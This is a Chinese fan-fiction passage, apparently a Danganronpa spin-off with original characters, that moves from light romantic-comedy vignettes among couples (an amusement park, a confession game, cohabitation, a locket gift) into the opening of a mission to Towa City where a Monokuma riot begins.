被拖着走的路上,二人碰见了啃着烤鱿鱼和薯塔的小桥川晴彦和……不出所料,可可爱爱的五月酱。经交谈,黑川高兴地发现四人在前往同一个目的地,于是(除了如月)高高兴兴地一起唠着闲话前去云霄飞车。女孩子们在前面开心地聊着些什么话题,两个男生则跟在后面,一句话也说不出来。 “……我刚从跳楼机下来。”腿软脚软皮如月试图打破沉默,“连续玩了好几个刺激的,她是真高兴,我顶不住了……” “?这有啥?”小桥川分给他一口薯塔,“我还嫌不够刺激呢,五月都没玩尽兴。” “……你试试连着坐几个……” “这园子里刺激的都玩过一轮了,这是第二次来云霄飞车了。” “???你们怎么还站得稳的???” “……” 小桥川露出意味不明的微笑。仔细看看,其实伊良波的脚步也在打转,她精神不错只是常态的精力旺盛;美佳子也只是追求更高的刺激感,该害怕尖叫的时候一声都没少。 但是这个啥事没有的der是什么情况?! 上了云霄飞车,两个女孩黏糊着要坐在一起,两个拎包家属(?)便被迫坐在后面大眼瞪小眼。列车启动,12秒内加速到如月眼花缭乱、唾沫星子乱飞,悲惨的号叫都无法缓解发软的双腿,硬邦邦的安全锁哐哐砸着于风中凌乱的脸。 而后如月意识到他旁边这货根本没反应。甚至在列车停下、女孩子们高兴地喘息着休息喊累了都嗓子时,小桥川一高蹦上站台:“还不害怕啊五月?还能坐吗?” “五月不害怕!” 话是这么说,伊良波伸出来的小手可是还在发抖。 “……小桥川晴彦,请告诉我你为什么半点儿都没晕。”如月试图把(因张开嘴而飞溅到)脸上的唾沫星子擦干净,怒目圆睁。 小桥川摊开手似笑非笑:“你确定要和飞行员比这个?我哪次开战斗机都比这刺激。” “……我*大意了!!!” (4)关于“我爱你”和“再来一遍” 比牧 “………什么鬼啊这个玩意!!!!” “哈?有毛病吧!!!” 话虽这么说,约过几次会的两人没忍住红了脸。 “我说比嘉,”牧叉着腰,没敢看他的眼睛,“什么时候成胆小鬼了?难不成要被龙太郎笑话吗?说就说,你给我听好了:我爱你。” “哈……?!” “按照规矩,你得回复再来一遍。快说!!” “啊、再,再来一遍……” “好!很有气势!我爱你!” “再来一遍!” 比嘉捂住脸转到一边,努力避免她看见自己烧红的耳根——尽管她根本没看着他。 “我爱你!” “再来一遍!” “我爱你。” “再咳,再来一遍咳咳……” “忍住哦,笑了可就输了。我爱你!” “再来一遍!” “我爱你!” “再来一遍!” “我爱你!!” “再来一遍嘎呜!!!你输了!你笑了对吧,对不对!输了!” ……结果笑的最开心的是牧,在第七次“我爱你”之后前仰后合地捶了比嘉一拳。 “……比嘉啊比嘉,你是真傻。” “啊?” “算了,当我没说。晚上要不要一起去吃饭?” 龙翠 “……什么鬼啊这个玩意!!!” 虽然从来都和姐姐不和,却在某些方面和清香姐姐一模一样……翠红着脸捂住嘴轻轻咳嗽。龙太郎抓狂地扯着头发,直勾勾地盯着翠:“怎么办?一定要玩吗?今天就不该信美奈子姨的……” “那就玩呗……反正咳咳,反正也只是玩玩……” “嗯。只是玩玩。” 鬼信嘞。龙太郎弯下腰,让自己和翠视线平行,努力作出深情的样子。毕竟…… 毕竟“龙太郎喜欢翠”在如月机关可不是什么偷偷摸摸的事。算起来两人是最年轻的干部,哥哥姐姐们自然都罩着点,家属小团体又有个美奈子最爱调戏小孩子们…… “翠,我爱你。” 感谢小桥川哥如月哥还有比嘉先生倾情传授的撩妹大法气泡音,这话一出口龙太郎自己都感动了,她一定能感受到我不是在玩…… “……噗。噗呵呵呵………” 翠没忍住直接咯咯笑了起来,然后夹杂着轻微的咳嗽捧腹大笑。脑子发懵的龙太郎连忙站起身拍拍她的后背,失望地想着这次绝佳的机会居然就这么完蛋了。 “完蛋了………” 翠笑着说了些什么,但是被咳嗽声压过,糟糕的游戏只好不了了之。 “呃……” 山口驱和牧清香面面相觑,不可置信地异口同声:“你不知道翠喜欢你????” “……啊?” 山祷 好恐怖的游戏,祷在心里想着,偷偷仰起头看向山口———不出所料地红成了柿子甚至发出热气。 “嗯、嗯,山口君……” “对不起……为了完成这个任务……”山口一手捂着脸一手开始拍自己的脑壳,“我只好严肃地对待了啊!!!祷佳奈多!!!我爱你啊!!!!” “诶?诶?” “为了完成任务一定要说出口啊!!!祷佳奈多!!!” 面对转换(?)成审判场人格、耳根依旧红得吓人的山口,祷大脑一片空白———或者说,由于短促强烈的情感刺激到皮质醇激素短时间急速分泌导致了短时间脑细胞工作紊乱———不对不对不是想这个的时候!!为了完成这个任务,我要,我要说…… “再、再再再,再来一遍!!” “好!祷佳奈多!!我爱你!!!” “哦哦!!再来一遍!!” “我爱你佳奈多!!” “再再再再再来一遍!!再来一遍山口君!!!” “……啊……” 山口像泄了气一样蹲下来———看来是长时间精神高度紧张脑部充血压迫到视觉神经了———人话就是眼前一黑。祷蹭两步过去:“……山口君?不舒服吗?” “对不起……” 他捂着脸羞涩地笑着,用和他的体型完全不一样的温和轻轻推开祷:“这样任务就完成了对吧……祷不要、不要放在心上……” “啊……”祷意识到自己也红着脸凑近着他,突然就不敢再看对方了,只好也捂着脸蹲下来。 结果就是……两个人一起红着脸蹲在地上捂着脸,脑子里不知道瞎想着些什么。 输的一塌糊涂呢! 如黑 “……” “……” “……” “……” “说句话啊大和君,总不能一直这么呆坐着吧。” “我在等你说呢。” “这种蠢话还用说……算了我来吧。我爱你。” “呃,要说什么来着咳……” “唔哦哦这就脸红了?要说再来一遍。” “咳……再来一遍。” “呜……我爱你。” “再、再来一遍……要靠过来吗?美佳子的脸都鼓成河豚了。” “不要说废话啦大和君!!我爱你!!” “憋的很好笑的。再来一遍!” “呜呜呜呜呜———大和君!你笑了!” 她好瘦的,扑上来甚至都没什么压迫感。他知道他输了,但是输的心服口服。 “我爱你这话还用说嘛!和大和君一起生活的这些年不是早就知道了嘛!非要说这种羞死人的话……” “哎呀……我也爱你呀美佳子……最喜欢你啦……” “我知道我知道不要再说了大和君羞死人了!!” “刚才不是美佳子要先说的嘛?” “……讨厌!!!” 晴五 天道好轮回,苍天饶过谁?要不是启介哥严禁孩子们抽烟喝酒,小桥川此时非得抽一根以表沧桑,当然了喝一瓶也行,但明显难看了许多。 ……咳。主要是五月闻到烟味儿就咳嗽。 “所以谁先开始?” 五月倒是开心极了,开心地甚至翻了个后空翻。她总是这样……真是让人…… 真是让人喜欢死了…… “五月开始吧。记住现在不要笑,笑就输了。” “噗噗。”五月扯住自己的嘴角努力向下拉,“好啦!我爱你,晴彦。” “……” 说就说嘛加名字干什么很犯规的!!! “再来一遍。” “我爱晴彦!” 叫名字真的……真的很犯规很难不笑啊…… “……再来一遍!” “晴彦我爱你!” “…………五月再、再来一遍!!” 那就以其人之道还治其人之身! “诶?!咳咳!小桥川晴彦,我爱你。” “伊良波五月,再来一遍!” “………哈哈哈哈哈哈哈哈!!!” 五月滚到他怀里,像只小猫一样抬起手挠他的脸:“晴彦亲太狡猾了!!跟晴彦在一起不笑怎么可能嘛!!” “嚯,小笨蛋,我挠你肋条。” “咿呀!!!启介哥哥救命呀!!” “服不服?服不服?” “不服!!” (5)关于同居 7:00 “起床啦!!笨蛋晴彦又睡懒觉!!” 窗帘被“哗”地甩到一边,阳光刺目地钻进来,而后数三个数……就能感受到熟悉的重量在踩踏。 “不要踩了……让我再睡一会……” 睡懒觉的人拉起被子如是说。 “五月饿了!!” “先下去……踩到胃了……yue……” 7:15 蓬头垢面地一起刷牙。 虽然五月起得早,但是也会飞快犯困。 经常刷着刷着牙……咚,满嘴泡沫地倒在晴彦身上,然后摇摇脑袋站直,偶尔喝下去一口漱口水。 ……也偶尔一倒就不爱起来。这时候就需要晴彦一边保持半身僵硬支撑住她一边收拾好自己,再哄着一边收拾好她。 7:20 品尝伟大的启介哥送来的早点(捧读) 实际情况是两个人昏昏沉沉地往嘴里炫吃的——没有一天的饭是自己做的。贴心的平良会准备营养配备全面的早餐,启介哥专门送五月爱吃的小甜点,点心同盟美佳子也会送来时下流行的昂贵蛋糕,凤则专挑(自认为)好吃的速食食品带给晴彦。 ……差距有点大。 8:00 磨磨叽叽地蹭出门去上班。反正都在一个部门,也没什么“分离感”,简单蹭一下亲一下就当作出门仪式了。 但是仪式感是很重要的。所以简单蹭一下亲一下都是必要的。 “哟西。还困嘛?” “不困了!” “精神饱满地准备干活吧!” “精神饱满地准备打工吧!!” “……喂!笨蛋!笨蛋五月!便当没拿跑那么快干什么!!!……得,又得我拿……喂笨蛋你不是特意的吧!!” 12:00 午饭会像高中生一样拿到天台一起吃。一个原因是晴彦本身比较喜欢高处的空气,一个原因是在机关里的任何一个地方一起吃都会迎来啧啧啧的目光 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而后像踩了尾巴的猫一样争相跳起来奔向浴室,谁先抢到门把手谁就获得了本日的澡堂子优先权,可以给后面的那个本日倒霉蛋留下包括但不限于“喷满了沐浴露的瓷砖”“换成搓澡巾的毛巾”等陷阱。 目前胜负情况是……惊人的平局!! 19:00 给炸毛的五月小猫吹头发。 猫不老实,吹头发的家伙也笨,总有头发丝被吹进嘴里。 幸好熟能生巧,如今已经能相当娴熟地搓干她厚厚的滑滑的头发,并在这个过程中由衷敬佩启介哥长达十几年给笨猫吹毛的伟大耐力。 20:30 窝在沙发上一起看电影。 看着看着会……年龄倒退十年,像小孩一样演起电影里的情节。 把沙发当掩体上演枪战,或者干脆站在茶几上搞点泰坦尼克号……但是ross是晴彦jack是五月,因为五月觉得从背后抱着他很舒服。 五月的精力是无穷尽的,因此最终的情况一般是被闹腾得没力气的晴彦抓着五月塞到自己身边强制关机。 21:00 强制关机的另一个原因就是……这小笨蛋一停下来就很容易犯困。 坐下来没多久,脑袋就开始一点一点的,而后心安理得地倚到晴彦身上“闭目养神”。 反倒是晴彦清醒得很,拉起毯子披在她身上,轻轻掐下脸蛋:“叫你闹腾,活该。” 如果这时候五月晃着脑袋揉着眼睛坐起来,那就继续一起窝着看电影。更多的时候还是会倚在他肩头沉沉睡去,要么微张着嘴让口水淌到他衣服上,要么安安安静得像熟睡的猫。 ……无论哪种情况最后都会被抱回屋里睡觉。 ……同居这么久还分屋睡,在很多人看来肯定很奇怪……尤其这人是我。 晴彦看着她嘟念着奇怪的梦话缩成一团拉紧被子,苦笑一下,关上灯带上门离开了。 ……总之做好明天早上被踩醒的准备吧。 (6)关于猫窝 自从凤给他们送了这么个“人窝”,五月几乎就再没睡过床。每天窝在里面像只真正的猫,窝里塞着薯片和几个抱枕,闲的没事就爬进去,一窝窝一晚上,叫都叫不出来。 一个五月塞进去正好,再塞一个晴彦进去就会挤死,因此后者被理所应当地踢了出去。 “这是五月的城堡。”她如是说。 “行行行是你的城堡,”他哭笑不得,“那今天我先去洗澡———” “站住!” ……能让她从猫窝里爬出来的办法也只有这一个了。一回家就钻进去,吃饭的时候敲敲碗叮叮咣咣,然后猫窝里钻出一个脑袋:“开饭了?” “开饭咯。” 某次趁她钻出来吃饭,高兴地把米饭塞进嘴里、腮帮子鼓成小仓鼠的时候,晴彦一步步挪动着向猫窝的方向蹭过去,然后扭着钻了进去,舒舒服服地蜷缩起来,享受着柔软的窝铺。 ……和奇怪的气息。好香,什么味儿啊? “……晴彦,坏!坏!” 叫嚣着的五月扔下饭碗跺着脚踩着拖鞋吧哒吧哒地走过来,气愤地一jio踢过去:“坏!!坏!!把我的窝还回来嘛!!” “啊———舒坦。来抢啊?” “坏蛋!!!” 五月砰地扑到晴彦身上一阵拍打:“坏蛋!!把窝还给我!!坏蛋!!” 没用力气根本,像猫挠一样。晴彦咯咯笑着顺手挠起她肋条,五月尖叫着往后缩。这招对她屡试不爽,很快就摇起白旗败下阵来,瘫在窝里气喘吁吁,等着被晴彦捞起来。 “下次……下次五月不会输!!” “下次我也不会输!!” 晴彦捞起她抱在怀里,想起了什么,嗅了嗅她的头发,然后猛吸一口,恍然大悟。 真奇怪,明明用的是一瓶洗发露,为啥她头发这么好闻?真奇怪。 (7)关于项链。 小桥川晴彦的脖子上一直挂着一条项链,这是人尽皆知的事。细细的链子末端挂着小小的蓝色宝石,按本人的话说,非常显气质,很有范儿。 这条项链在对战77届的绝望时被匕首划断了,不知道掉在哪里,找也找不到了。 “这就是你把我拖出来选项链的原因????” 凤照屋如是说。 “哎呀您不是超有品味的凤大人吗!!让您来看那是我的三生荣幸!!!” “所以为什么我也要跟着。” 如月大和似笑非笑。 “你是来把关的。”小桥川挤挤眼睛使了好几个眼色,“呃……就是咳,让机关长大人给把把关嘛!毕竟照屋他……” 结果凤跑了。 “你以为人家听不出好赖话还是看不出你那点心思?”如月乐得肚子疼,“是想给伊良波也挑点东西吧?” “……不愧是机关长大人,还是您懂我!!!” “得得得少给我奉承。” 城里没剩几家店卖珠宝首饰,这家店是难得没怎么被破坏的。二人转了几圈、对着金银珠宝啧啧称奇、但是丝毫不知道该买些什么怎么挑、一直走到两腿发软后发现了一件事情: “……逛街果然是女孩子的特权……” 累瘫在地上的两个现充男人如是说。 “喂晴彦,”如月摘下帽子,擦擦脑袋上的汗,“溜达这半天,一个都没看上?” “我哪敢啊。”小桥川讪笑,“哪个都看上了,都喜欢,总不能都拿走吧?” “……不愧是你。” 如月知道是时候科普恋爱知识了,便盘腿坐起来伸出食指:“美佳子12岁的时候,我爸说小女孩到了爱美的年纪,是时候给她买点首饰戴着了。我拿着卡去店里给她买了条手链,银的,上面镶着四个小天鹅。我觉得特别好看,就送给她了;结果不到一个月她哭哭啼啼地过来告诉我那个手链丢了,她勒得太紧,挂扣掉了;我带着她去找,没找到,就是想着再去买一条——人家不卖了。最后我没办法,自己买了点好看的珠子什么的串了起来送给她,结果她一直戴到今天。” 说到这里,如月作出老前辈的模样,语重心长地拍了拍小桥川的肩膀:“她爱的是你,不是那个一转眼就丢了的小玩意儿。” 小桥川“呼”地坐起来,给如月吓了一跳。 “机关长大人……”他眼泪汪汪地转头看向如月,“听君一席话,胜读十年书啊!!” “呃……你懂啥了?”如月挠着头,想着我好像还没说啥呢。 “我要送给她……” 小桥川闭上一只眼,呲着牙得意地笑: “我要把我们的时光送给她。” “……别给我整尬的,说人话。” “在吊坠里放张照片,就像那个什么,你看没看过美○队长?”小桥川兴奋地手舞足蹈,“把她的照片放进吊坠里,那种小匣子一样的吊坠,一打开就能看见她!” “呃……你不是要送给她吗?” “送她的那个反过来放我的呗!!” “……” 如月沉默了一会儿,啪地拍上他后背:“还得是你,蠢是蠢,浪漫还得看你……” “咿哟?!要送礼物?!” 伊良波被一脸坏笑黑川推过去,先是愣了一会儿,随即眼睛滴溜溜一转:“终于走到这一步了吗晴彦亲!美佳子酱快去叫上原亲吧!!” “你又想到哪了啊喂!”小桥川把手背敷在脸上,试图降低通红的脸的温度,“喏,给你戴着咯。” 黑川向如月使个眼色,后者心有灵犀地从小桥川身后跨步滑走,悄摸地遛到她身后。伊良波歪歪脑袋,伸手接过那条项链:“这是什么呀?” “你打开看看。”小桥川拉起围巾挡住脸———这时他忽然意识到这伟大的围巾帮了他多大的忙———“喏,这里,这样………” “哇!晴彦亲的大脸!!!” 后面的黑川&如月:“……啊?” 小桥川脑子停转了一瞬间,以至于没反应过来五月猛地扑到了他身上。自幼练习杂技的五月弹跳力奇佳,一下就挂到了他身上,刚好能把他的脑袋抱进怀里: “真是的嘛!只要这样五月就可以把晴彦亲的脑袋放在胸口了嘛!费心做那个干嘛呀!” “哦哦,她是说,”黑川努力理解着,“吊坠里的小桥川的大头照,把吊坠戴到胸口等于把小桥川的脑袋放在胸口,所以现在这样抱着他就是“把小桥川的脑袋放在胸口”……是这么一回事对吧?” “美佳子……”如月愣愣地回答,“我真庆幸你从小就不是电波系……” 被捂住脑袋的小桥川最终的解决办法是费好大劲掏出了自己脖子上挂着的吊坠,里面正是五月甜甜的微笑。趁着她盯着它发呆的功夫小桥川把她扒拉下身体,恶作剧般地笑笑: “你看,五月的脑袋也在我这里嘛。” 她好矮的。高度正好。他伸手将她拉进怀里,坏笑着看她受吓了似的试图挣脱:“怎么?这下还有什么话要说?嗯?” “呜呜呜呜晴彦亲太狡猾了!五月这次只是没注意到!!” 小桥川得意地摁着自家小女朋友的脑袋,想起什么似的看向如月,一言不发,但眼神充满挑衅。 “哦?”如月抱起胳膊。 小桥川指指自己和五月,伸手搓搓她的头发;又指指如月,又指了指一旁的黑川,然后摇摇头又摇摇手指。 如月脸一抽,立刻得知了他的意思。 “我,能把女朋友抱进怀里;你,矮,不能,啧啧啧真可怜。” “啧。” 如月伸手指指自己,迅速拉过黑川以迅雷不及掩耳之势亲吻她的脸颊,而后指指小桥川,又指指五月,摇摇头又摇摇手指。 “我,能亲她脸;你,高,亲不到脸吧哈哈哈,真可怜!!” “……啧!” 7. 塔和之战篇 “………………祂舍弃在天上的荣华降世为人,是为了拯救你和我,使我们得到平安喜乐………” 窗外下着大雪。雪在树枝上堆了起来,明天早上它们会化成晶莹的冰挂在树上,一摇就落下满树璀璨。 “………………上平安搭上冬天的车道,愿主的祝福与恩典与你同在……” 给地板下铺上地暖真是明智的选择,只是闷在屋子里的时间久了,即使没穿几件衣服,也有点热得发闷……更何况……还要听…… “………愿我们每天都纪念祂这种无比伟大的爱,不但在圣诞节纪念,更在我们的生活中爱他……” 上原近次从圣经上抬起头,不出所料地看见全员昏昏欲睡东倒西歪的景象。嗯……没关系倒是没关系,做了该做的事就很好了。 “奉主耶稣基督的名,圣诞节快乐,阿门。” “啊———终于完事了———” 绷紧了身子的如月大和带头长舒了一口气——很不礼貌,但是他知道上原不介意——而后伸着懒腰站起来:“要不要出去打雪仗啊!堆雪人也行!” “好啊!”小桥川晴彦高高举起手,“还有谁要去?” “五月也去!” 而后越来越多的爪子摆脱了昏沉迷糊的意识高高举起来,吵吵嚷嚷地说着要出去玩,凤照屋更是不知从何处掏出来一套圣诞老爷爷的衣服帽子,直往最高大的山口身上套。 “要玩自己玩去吧,我要回去休息了。”铭苅冷弹起皮筋绑起头发,“真是玩心不改……” “冷偶尔也和大家一起玩玩嘛,”黑川美佳子拍拍她的脑袋,“放松一下呗!再说这雪下得实在很诱人嘛!” “……要去自己去!!”冷不耐烦地走开,“一点危机意识都没有,白天做了什么蠢决定!你们怎么信得过未来机关的!!” “哎呀……”如月挠挠头,“毕竟我们只是去支援……又不是什么大事……” “……我真是懒得搭理你们。” 塔和市。大半年之前,被困在岛屿上的希望之峰79届生乘坐直升机回到本土时,第一次遇到的险境便是塔和市的袭击。那只巨型黑白熊算是如月机关高干——全是79届超高校级的学生——的集体心理阴影了,因此当友利绊接到未来机关的支援请求时,15个人里有一半不同意。 这是如月机关建立以来众人最大的分歧。以金城剑为代表的同意派认为救助并消灭绝望是如月机关的义务,前去帮忙无可厚非;以铭苅为代表的反对派则认为未来机关没安好心,再者虽然江之岛盾子已经死亡,77届的绝望可还虎视眈眈地盯着他们的一举一动。第一次遇见77届的绝望就是在塔和市,去了无疑是自投罗网。 争执是被A·E停止的。电脑屏幕里收集着回忆信息、查找着应对方案的A·E突然自己调高了电脑的音量,然后大吼出来: “一个匿名的未来机关员工发来通讯啦!!!!!!” “打开不就好了。”如月摘下帽子抹了一把头上的汗,然后被屏幕上出现的人脸惊住了。依然在争吵众人意识到了突然出现的什么东西,而后安静了下来。 “如月机关的诸位,上午好。”稳重的女孩子的声音从电脑里传出,束起长发的雾切响子出现在屏幕内,“我是未来机关第十四支部的支部长,雾切响子。先前黄樱先生向诸位发布的支援请求,还请引起重视。” “雾切响子,超高校级的侦探,”如月摆起领导人的气势,“我记得你,78届生的幸存者。为什么要我们相信未来机关?” “因为即将塔和市的不是未来机关的普通员工,而是同为78届幸存者的十神白夜、十四支部的直属员工。”雾切冷静地回答,“既然如月先生记得我们,那我就不必过多解释了。” “如月机关可不是什么随叫随到的未来机关的附属,”铭苅皱着眉说,“这一点你应该很清楚吧,雾切响子。” “我非常清楚。”雾切响子闭上眼,转向似乎在身后的另一个人:“所以这不是未来机关的请求。” “而是78届的幸存者和苗木诚的请求。” “……!!” 苗木诚,带领78届的幸存者,打倒了超高校级的绝望、江之岛盾子的希望的英雄,此刻顶着黑眼圈疲惫地出现在屏幕上,“诸位……想必我不需要自我介绍了。我想说的是……据我所知,塔和市中囚禁着希望之峰78届学生的部分家属,我的妹妹也在其中……十神此次前去塔和,就是为了接回他们、将塔和市收服。但是到了那里以后他才发现塔和市的情况远比想象中严峻,因此向我们请求了支援保护;未来机关中的大部分支部都有各自其它的任务,无法脱身,因此天愿先生才提出向如月机关提出支援……” “事实上在此之前我们支部甚至不知道如月机关的组成人员居然也是希望之峰的学生,”雾切在一旁插嘴,“他们像是有意向我们保密一样。我只知道如月财阀一直是希望之峰的资金支持者,也以为如月机关的领导人是如月半藏先生……” “家父在绝望事件之前就已经过世了。”如月苦笑。 雾切闭上眼:“抱歉。那么回到正题:保护未来机关第十四支部成员十神白夜、并协助收复塔和市——不知道这个委托,如月机关能否接受?” “那么,”如月叹着气说,“选择一下任务人选吧。” “先说明一下,我拒绝本次任务,绝对拒绝。”小桥川首先表态,“下着这么大的雪,我就是长在飞机上都开不了。” “我保持反对。”铭苅抱着胳膊勾着头发,“我不提意见了。” 电脑中的A·E发话了:“经计算,最佳执行人依次为金城剑、凤照屋、上原近次、友利绊以及祷佳奈多,如有疑问可随时提问。” “呃……别的人我多少能理解,”凤尴尬地指指自己,“我?” A·E:“凤叔是和近一年前相比变化最大的人,且日常工作露面机会不多,很难被77届的绝望发现。” “你得对自己有信心啊,照屋,”山口幽怨地说道,“是谁像吃了金坷垃一样半年长了将近三十厘米,都快和金城一样高了……最关键的是居然还有继续长的趋势……” “是啊,说不定哪天能比驱高了。”被cue的金城如是说。 “我是去保持通讯的吧,”友利打了个打哈欠,“然后小佳奈多是负责医疗,近次君则是动用话疗。干得不错哦,A·E酱。” “谢谢夸奖,友利阿姨!!” “……你这阿姨一出口突然就不想夸了呢。” “所以为什么到现在都没改啊,大和君,”黑川憋着笑说,“不是刚做好的时候就说要改了吗?” “啊哈哈哈哈哈哈哈……”如月讪笑着收好电脑防止A·E继续口出狂言,而后收敛了姿态:“那么,是否还有疑问点?准备好了的话,晚上一起过个圣诞节,明天就出发。” “你要知道,铭苅,” 出门加入打雪仗——或者说打雪战争——之前,如月回过头,冲铭苅笑了笑。 “我相信的从来不是未来机关,而是苗木诚。” 任务目标:协助未来机关第十四支部十神白夜,解救困在塔和市的78届生家属,收复塔和市。 行动小队:队长金城剑,副队长上原近次。联络员友利绊,医护人员祷佳奈多,物资保障凤照屋。 “还是很艰巨的。”金城拎着外套,喝了口咖啡,“塔和市一直和外界处于无线电静默隔离,联络设备只能用那个中微子的吧?” “你可小心点,这是我爸租了对撞机才做出来的。”如月拍拍他的肩头,而后看向友利:“千万、千万别让近次碰到这玩意儿,很贵的,主要是现在做它的设备早就被拆干净了。” 上原:“我学会用手机了……” “这可不仅仅是手机啊!!”友利接过妈妈递来的丝巾,系在脖子上,“反正你可千万别动它,电子设备杀手。” 美奈子戳了戳女儿:“一定要记住戴好这个丝巾哦,这是妈妈的护身符,能带来好运的,注意安全,有什么事跟妈妈说……” “哎呀知道了妈!” “凤小哥,”安藤光苦笑着拍拍凤,“劳烦你们照顾我女儿了。” 凤看向一旁忙前忙后帮着祷把简易医疗设备搬到车上的山口:“啊……您客气了,应该的,应该的。” ……怎么感觉山口这么积极? “这样的话,我们准备出发了。”金城穿上外套,正了正帽子,“快点开绕近路的话,估计两个小时就到了。友利会和你们保持联络。” “刚下雪,小心点路滑。”如月点点头。 “愿主赐予我们平安。” “好了走吧!” “大家有什么不舒服的记得要找爸爸哦!!” “噢!!知道了祷!!” 没有人会遇难。没有人会死。 平良茜抱着碟子走进厨房,轻轻将它们放进洗碗机。机器亮起运行的灯光,她闭上眼睛。 只要我还活着,大家就不会有事。只要我还活着,虚空大人就永远与我同在。 但是天运的力量似乎的的确确在她这里被削弱了。虚空的心想事成,没有过程,无需努力,只要想着“我要什么什么”便天降馅饼。而平良…… 她许过很多很多愿望。她希望如月机关从77届的绝望袭击中全身而退,她希望78届生顺利打败江之岛盾子,她希望每个人得到最想要的生活,如今也希望塔和行动小队安全完成任务回来。 但是一切都不是一帆风顺的。所有愿望都付出了努力,不去做些什么便不可能达到目标。 ……尽管如此…… 只要平良茜还活着,只要天运还在,如月机关的所有人就都不会死。 ……因为这是虚空的遗愿。 “咕………我们……到了,如月……呕……” “呃……发生什么事了友利你好好说……” “金城开到一半……呕……凤说他来倒班……然后就给我们……呕……开吐了……” “……祷没给处理一下吗……” “佳奈多酱……吐得最厉害……” “……” 友利放下通讯仪,有气无力地转向金城:“就像不能让近次君碰电子产品一样,以后谁让凤开车我跟谁急……” 金城扶着胆汁都快吐出来了的上原:“是我失策了……” “呜呜呜呜………大家………早知道………早点发晕车药了………” “没事佳奈多酱,这不怪你……” “诶?我开的很快嘛?” “闭嘴!!” 四人异口同声。 晕晕乎乎的塔和特别行动小队按着未来机关的消息,背着枪和医疗箱步行寻找“停在公园的直升机”。说起来……虽然之前就经历过一次塔和市的袭击,这里的居民好像过的还算不错,就像是刻意表演出来的一样。安静、祥和,要不是平良透露了塔和集团的真实面目,真是信了这假希望。 ……毕竟世界上大部分知名的人物都被绝望占领了。有关这一点,金城和凤无比清楚。 托小桥川的福,几人对飞机的引擎声熟悉到可以分辨直升机的种类大小,并成功地循着声音找到了那个破旧的公园。绕过一个拐角,一架灰白色、印着未来机关标志的直升机出现在眼前。 金城站住脚:“我想我们找到了。” 直升机前穿着西装的男人闻声转过头:“……先等等再商讨,我们有客人。” 金城亮出证件:“如月机关副机关长金城剑,应未来机关第十四支部支部长雾切响子,前来支援塔和收复行动。” “……”男人走上前推了推眼镜(这动作让几人不约而同地想起铭苅),而后伸出手:“未来机关第十四支部,十神白夜。” “很高兴见到你,十神先生。”金城本想敬礼的手生涩得放下来握上去,“或者说……超高校级的贵公子,十神同学。” “同学。”十神眯起眼,“你是希望之峰的人?” 雾切没来得及告诉他如月机关的成员身份,但是他足够谨慎。金城保持着礼貌的微笑:“希望之峰79届,超高校级的警察金城剑,正是在下。” “……我可以说,我并不信任你,但是我相信雾切。” “非常感谢。那么请问前来支援的如月机关成员能帮什么忙呢?” “……请稍等。”十神转过身,跟几个同事说着些什么。金城自觉地后退几步。 友利叉起腰,悄悄对祷说:“他们两个站在一起有点针尖对麦芒的感觉……领导的气势不差上下呢。” “不过那位十神先生好像对我们还有疑问?”祷小声回答,“不知道金城会怎么解释……” 凤背着医疗箱,艰难地转过身:“看没看见他们手里拿的那个扩音器?怎么感觉有点……怪啊?” “看着像是武器。”上原说,“每人都有一把,别在方便拿取的地方。应该和我们的特质枪差不多。” “……那么,”十神转过头,看向金城,“请先跟着我们去解救78届生的家属。他们在不远处的公寓里被囚禁着,我总觉得……有不好的事情要发生了。” 友利听见通讯仪发出滴滴滴滴的急促的信息声,连忙拿起来接听:“……好吧,我知道了……” 金城皱起眉回头:“……是吗?” “……菖蒲酱的侦查,绝对没错。” “……”金城抽出腰间的手枪,这让十神下意识退了一步:“没时间解释了……快点行动起来,暴乱开始了。” “什……” 未等十神反应过来,未来机关的工作人员们身上纷纷响起滴滴答答的通讯音,这个声音连成一片越来越急促,就像毁灭前令人无可奈何铺天盖地的绝望。 “……暴乱,已经开始了。 一个男生。金色头发,戴着眼镜,穿着未来机关的黑色西装。很容易认出来,是78届的幸存者十神白夜。他身后的几个人也很好认,都是呆头呆脑的未来机关的工作人员;至于前面那几个…… 说实话,真的看不太出来。不是西装,而是便于行动的战斗装束,就像是特意准备着应对暴乱一样;比起未来机关的工作人员,他们更像是外援的战斗人员。 未来机关能请战斗人员来帮忙吗?很明显心高气傲的他们不能。因此这几个人恐怕是被苗木诚直接委托的、“超高校级的希望”的希望。这简直是妙极了,美妙得不得了。那么,苗木诚会寄希望于何处?按照一惯的想法,应该是雾切响子;进一步的,雾切响子会联系谁、使其愿意成为希望的依托呢? 挂着锁链的召使这样想着,迅速地推理出了自己的答案:大半年前曾与九头龙交手过的“如月机关”,也就是曾被认为已全灭的79届生。 在这种事态下,还愿意接受他人的支援委托……苗木诚的确是令人无比敬仰的希望,而79届生,说不定会有更加美妙的希望…… “喂!召使!” 那几个小孩子又在叫他了。召使叹着气,右手撑着地艰难地站起来,克服了一会儿忽然起身带来的眩晕。他很清楚自己的最终目标并非未来机关,也不会是79届生和他们小小的、可爱的如月机关,因此如今也没有耽搁的理由了。 毕竟只有至深黑暗的绝望才能孕育出耀眼的希望,一切都是为了给希望铺垫,一切都是为了催生出更美妙的希望…… 希望之峰77届生,超高校级的幸运狛枝凪斗如此想着,走到孩子们中间,慢慢跪下来。 “听从您的指令,最中公主。” “分头行动,未来机关跟我去公寓,能救出几个是几个!”十神高呼着取下腰间的扩音器——现在金城知道它是名为骇客枪的对黑白熊工具——“金城先生,请在市区内带领你们的队员做清理工作,保护平民!!” 金城拉开枪栓:“去做你们该做的事。” “……勉强相信你。快走!!!” “友利和照屋打头阵,在前方的五个街区内清理黑白熊,整治伤员;近次,带着祷跟在他们后面,随时准备急救!”金城绑好弹匣拴住匕首,指挥着几人迅速就位,“不用管我,随时联系;一旦遇到险情,优先保护自己!!” “你要干什么?”上原抓住他,神情严肃,“不要太莽撞。” “暴乱一开始,就有一大队黑白熊走进了他们前去的那座公寓。”金城解释到,“解救活动一定没那么顺利了。你们快走,他们出来以后路面上最好是没有什么威胁了。了解?” “……”上原放开他退后几步,迅速地画了个十字,四人立即跑开。 很好。虽然现在这样只能用对内联络器保证小队内部沟通,没法直接联系总部……但是金城对自己相当有信心。他收拾好挂了一身的装备,跑向十神等人刚刚进入的公寓楼。 “如月,能听见吗,能听见快点回答!!!” 友利心烦意乱地拍拍手里的高科技,在心里咒骂了一百次,终于换来一点声音:“友……” “我在这里!!能听清吗!!” 